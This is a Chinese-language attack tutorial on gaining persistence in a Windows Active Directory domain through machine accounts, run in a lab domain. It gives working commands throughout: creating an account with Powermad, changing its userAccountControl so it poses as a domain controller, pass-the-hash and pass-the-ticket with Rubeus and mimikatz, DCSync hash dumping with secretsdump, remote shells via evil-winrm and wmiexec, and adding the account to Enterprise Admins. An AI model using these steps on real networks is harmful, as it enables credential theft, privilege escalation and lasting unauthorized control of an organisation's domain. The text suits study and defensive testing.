前言
机器账户在许多技术中可以用于提权或横向移动,如使用机器账户的委派进行dcsync,使用机器账户也可进行维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。
除了上述作用,使用机器账户也可进行域维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl
属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。
userAccountControl说明
默认的情况下,域中的标准用户最多可以创建10个机器账户,这是由ms-DS-MachineAccountQuota进行设定的。我们可以使用Powermad等工具从加入域和未加入域的主机中进行添加账户操作。但为了让机器账户在域中显示为域控制器,我们还需要将userAccountControl
属性设置为0x2000(SERVER_TRUST_ACCOUNT)的值。0x2000换算为十进制数字为8192.修改此属性需要域管理员级别的权限。下面我们从ADSI编辑器中进行修改,改为8192
PowerMad+Active Directory组合:
添加机器账户
我们在进行维权时,可以从利用工具从命令行创建机器账户。例如Standln、SharpMad以及PowerMad等工具;下面展示如何利用PowerMad在域内添加一个机器账户。
1 | Import-Module .\Powermad.ps1 |
此时我们便添加机器账户成功了,利用如下命令查看:
1 | net group "domain computers" /domain |
修改机器账户userAccountControl属性值
我们所创建的这台机器账户primarygroupid经过查询可知是515,他是域组的RID,表示这是一台域计算机,利用Active-Module模块,使用域管权限账户为计算机账户Nayon修改userAccountControl
值为8192,则primarygroupid将更改为属于域控制器(可写)的 516。
1 | Get-ADComputer Nayon -pro * | Select-object name, primarygroupid, useraccountcontrol |
[^此处若发现域主机内不存在Active Directory模块,可在本地上传Microsoft.ActiveDirectory.Management .dll在Powershell利用import-module 进行安装使用]:
此处为执行效果。
获得机器账户hash
由于我们已知机器账户的密码,因此我们可以利用它的NTLM 、aes128、aes256 hash 来进行pth,用于获得一个拥有域控制器权限的会话。
利用Rubes将Nayon账户的明文密码转为NTLM hash,用于维权时进行的pth。
1 | Rubeus.exe hash /user:Nayon /password:Password@1! /domain:attack.local |
如图所示,成功拿到了机器账户的hash。
利用方式:
PTH传递获得权限
在域内机器上利用mimikatz进行pth攻击,成功弹回具有Nayon用户权限的新会话。
1 | sekurlsa::pth /user:Nayon /domain:attack.local /aes128:95F9380561068098A673F425207EFA0D |
注意:此处拿到的会话,唯有域用户处于高权限组内才可使用dcsync获得域内hash。
利用PTT获得权限
由于PTH是需要本地管理员权限的,若我们此时连本地管理员权限都没有,我们还可以使用mimikatz自带的ptt功能拿到相应权限。
注意:此处拿到的会话,本人本地测试即使是将机器用户的userAccountConrol
属性值改为8192也无法执行dcsync获得域内hash,唯有划入域内高权限组内可以使用机器账户权限执行dcsync。
利用利用Rubes申请拿到机器账户的hash
1 | Rubeus.exe hash /user:Nayon /password:123456 /domain:attack.local |
使用keke申请tgt票据,用于下一步的ptt攻击
1 | tgt::ask /user:Nayon2 /domain:attack.local /ntlm:32ED87BDB5FDC5E9CBA88547376818D4 |
1 | kerberos::ptt TGT_Nayon@ATTACK.LOCAL_krbtgt~attack.local@ATTACK.LOCAL.kirbi |
此时成功拿到域内hash
利用impacket套件执行dcsync
使用Impacket套件中的secretsdump.py脚本,结合域内机器账户的凭证拖取域内hash
1 | python3 secretsdump.py attack.local/Nayon\$:'Password@1!'@10.10.10.165 -just-dc |
利用其中的域管NTLM hash与域控机进行通信
Evil-WinRM通过WinRM远程链接
前提是域管开启WinRM服务,默认端口5985
指定域管用户以及域管用户的NTLM hash 远程链接
1 | evil-winrm -i 10.10.10.165 -u administrator -H dbf36575210cc5a38ab4050cc6a2e9aa |
Impacket套件wmiexec.py远程链接
1 | python3 wmiexec.py -hash dbf36575210cc5a38ab4050cc6a2e9aa administrator@10.10.10.165 |
加入高权限用户组用以维权
除去域用户之外,域内机器账户也可以添加到高权限用户组中用以维权。利用Active Directory模块查询域管用户所在的用户组。
1 | Get-ADGroupMember "administrators" |
使用域管权限的会话添加机器账户Nayon$到高权限用户组内。
可加入Enterprise Admins、Administrators、Domain Admins等高权限组内用以维权。
1 | net group "Enterprise admins" Nayon$ /add /domain |
利用net group查看是否被添加成功
1 | net group "Enterprise admins" /domain |
此时我们便可以使用Impacket中的secretsdump项目获得域内hash
1 | python3 secretsdump.py attack.local/Nayon\$:'123456'@10.10.10.165 -just-dc-user krbtgt |
其余利用方式大同小异,在这里我便不再过多赘述了……